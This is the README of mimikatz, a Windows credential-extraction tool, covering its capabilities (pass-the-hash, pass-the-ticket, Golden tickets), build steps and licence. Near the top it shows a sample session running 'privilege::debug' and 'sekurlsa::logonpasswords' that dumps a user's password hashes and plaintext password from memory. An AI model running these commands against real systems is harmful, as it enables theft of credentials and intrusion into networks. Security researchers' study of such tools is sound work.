mimikatz

mimikatz is a tool I've made to learn C and make somes experiments with Windows security.

It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. It also can perform pass-the-hash, pass-the-ticket or build Golden tickets.

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr  6 2014 22:02:03)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  13 modules * * */


mimikatz # privilege::debug
Privilege '20' OK
 
mimikatz # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session           : Interactive from 2
User Name         : Gentil Kiwi
Domain            : vm-w7-ult-x
SID               : S-1-5-21-1982681256-1210654043-1600862990-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * Password : waza1234/
...

But that's not all! Crypto, Terminal Server, Events, ... lots of informations (in French, yes) on http://blog.gentilkiwi.com.

If you don't want to build it, binaries are availables on http://blog.gentilkiwi.com/mimikatz

Quick usage

sekurlsa

todo

kerberos

todo

crypto

todo

Build

mimikatz is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are:

• for mimikatz and mimilib : Visual Studio 2010, 2012 or 2013 for Desktop (2013 Express for Desktop is free and supports x86 & x64 - http://www.microsoft.com/download/details.aspx?id=40787)
• for mimikatz driver (and ddk2003 platform) : Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800

mimikatz uses SVN for source control, but is now available with GIT too! You can use any tools you want to sync, even incorporated GIT in Visual Studio 2013 =)

Synchronize!

• GIT URL is : https://github.com/gentilkiwi/mimikatz.git
• SVN URL is : https://github.com/gentilkiwi/mimikatz/trunk

Build the solution

• After opening the solution, Build / Build Solution (you can change architecture)
• mimikatz is now built and ready to be used! (Win32 / x64)

ddk2003

With this optional MSBuild platform, you can use the WinDDK build tools, and the default msvcrt runtime (smaller binaries, no dependencies)

For this optional platform, Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after.

Follow instructions:

• http://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme
• http://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader

Licence

CC BY 3.0 FR licence - http://creativecommons.org/licenses/by/3.0/fr/

Author

Benjamin DELPY gentilkiwi, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com )

This is a personal developpement, please respect its philosophy and don't use it for bad things!